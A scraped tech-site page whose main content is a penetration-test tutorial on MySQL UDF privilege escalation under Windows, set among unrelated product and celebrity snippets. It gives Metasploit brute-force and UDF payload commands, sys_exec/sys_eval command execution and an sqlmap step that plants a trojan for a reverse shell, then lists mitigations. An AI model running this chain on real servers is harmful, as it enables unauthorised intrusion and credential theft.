<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
本文章僅記錄某次內網滲透過程中遇到的MySQL 採用UDF提權等方式進行獲取許可權,文章中內容僅用於技術交流,切勿用於非授權下滲透攻擊行為,慎重!!!
UDF(Userdefined function)可以翻譯為使用者自定義函數,其為mysql的一個拓展介面,可以為Mysql增添一些函數,對MySQL的功能進行擴充,然後就可以在MySQL中進行使用這些函數了。
攻擊者通過編寫呼叫cmd或shell的udf.dll/udf.so檔案,並且匯入到指定的資料夾目錄下,建立一個指向udf.dll/udf.so的自定義函數,從而在資料庫中的查詢就等價於在cmd或shell中執行命令。
1、MySQL資料庫的Root許可權(可以通過賬號密碼遠端登入到Mysql資料庫)
2、MySQL具有寫入檔案的許可權(即Secure_file_priv的值為空,不為空時必須有寫入my.ini的許可權)
連線MySQL資料庫後,通過SQL語句show global variables like '%secure%';
檢視secure_file_priv的值。
當secure_file_priv的值為NULL,表示限制mysqld不允許匯入|匯出,此時無法提權。
當secure_file_priv的值為/tmp/, 表示限制mysqld的匯入|匯出只能發生在/tmp/目錄下,此時也無法提權;
當secure_file_priv的值沒有具體值時,表示不對mysqld的匯入|匯出做限制,此時可提權。
如果secure_file_priv的值不是空,需要在MySQL/my.ini中設定secure_file_priv引數為secure_file_priv =
動態連結庫就是實現共用函數庫概念的一種方式,在windows環境下字尾名為 .dll ,在Linux環境下字尾名為 .so ,我們要將該檔案放在特定的目錄中,該檔案中包含了執行系統命令的一些函數。
MySQL版本大於5.1
,udf.dll檔案必須放置在mysql安裝目錄的libplugin
資料夾下(plugin資料夾預設不存在,需要自行建立;MySQL安裝目錄可以通過select basedir() 或者select @@basedir 檢視)
MySQL版本小於5.1
,udf.dll檔案在win2003下放置於C:Windows
或者C:Windowssystem32
目錄,在win2000下放置在C:Winntsystem32
目錄。
Secure_file_priv是用來限制load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取檔案的許可權。
輸入語句:show global variables like '%secure%';
##值為空即可操作
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
當 plugin 的值為空時不可提權
當 plugin 值為 mysql_native_password 時可通過賬戶連線提權
實際測試發現UDF提權成功與否與該值無關。
Show variables like '%compile%'; //檢視主機版本及架構
show variables like '%plugin%'; //檢視 plugin 目錄
使用MSF搜尋關於MySQL輔助利用指令碼
search mysql
使用弱口令掃描指令碼,並檢視需要設定選項
use auxiliary/scanner/mysql/mysql_login show options
可設定 pass_file(暴力破解字典,所在絕對路徑)在不知道密碼的情況下可使用
設定 RHOSTS (靶機IP地址)
set rhosts 192.168.x.x/24 (可批次掃描)
設定USERNAME(靶機MySQL服務使用者名稱
)或者設定USER_FILE(使用者名稱字典
)
方法二選一
set pass_file /top100.txt set rhosts 192.168.x.x set username root run 或者 exploit 進行攻擊!!!
以上兩種方法是在未知MySQL資料庫賬密情況下進行爆破方式,具體以實際情況為主。
獲取MySQL的基礎資訊
使用模組:use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.x.x set password root set username root run
獲取MySQL基礎資訊及其他存在使用者及其密碼
可使用CMD5或者john工具進行破解
接下來進行UDF提權,載入攻擊載荷
use exploit/multi/mysql/mysql_udf_payload set rhosts 192.168.*.* set password root
在MySQL中執行SQL語句,檢視上傳的DLL檔名
select * from mysql.func;
執行命令 select sys_exec("whoami");
如果返回結果為 0 就代表成功,返回1
代表失敗。
通過之前MSF生成的DLL檔案建立sys_eval()
函數,使執行的命令存在回顯。
create function sys_eval returns string soname "****.dll";
再次執行命令 select sys_eval("whoami");
可使用攻擊載荷 use auxiliary/admin/mysql/mysql_sql
進行後續其他命令操作
當UDF提權後,我們想反彈一個MSF或者CS的shell,首先呢使用CS的PowerShell反彈命令是不行的,這裡由於powershell命令引號過多,不能執行。
那麼現在的思路就是執行木馬檔案,反彈Shell,這裡由於sys_eval函數不能執行Windows那些遠端下載命令,所以我們選擇通過sqlmap的寫入檔案功能,將木馬寫入當前目錄。
首先,檢視當前目錄
然後sqlmap寫入木馬,這裡也是可以進行遠端下載的;
命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:phpStudyPHPTutorialMySQLdata*.exe"
執行木馬反彈,這裡需要注意的是,sys_eval函數只能執行當前目錄下的檔案,所以,也只能把檔案寫入當前路徑下。
命令:drop function sys_eval;
drop function sys_exec;
1、mysql組態檔中 secure_file_priv 項設定為NULL或非 mysql/lib/plugin
目錄。
2、控制目錄存取許可權,例如控制/lib/plugin
,system32/wbem/mof
等目錄需要管理員許可權存取或者設定為唯讀許可權。
3、資料庫使用者確保正確實施最小許可權原則。
到此這篇關於Window環境下MySQL UDF提權的文章就介紹到這了,更多相關MySQL UDF提權內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45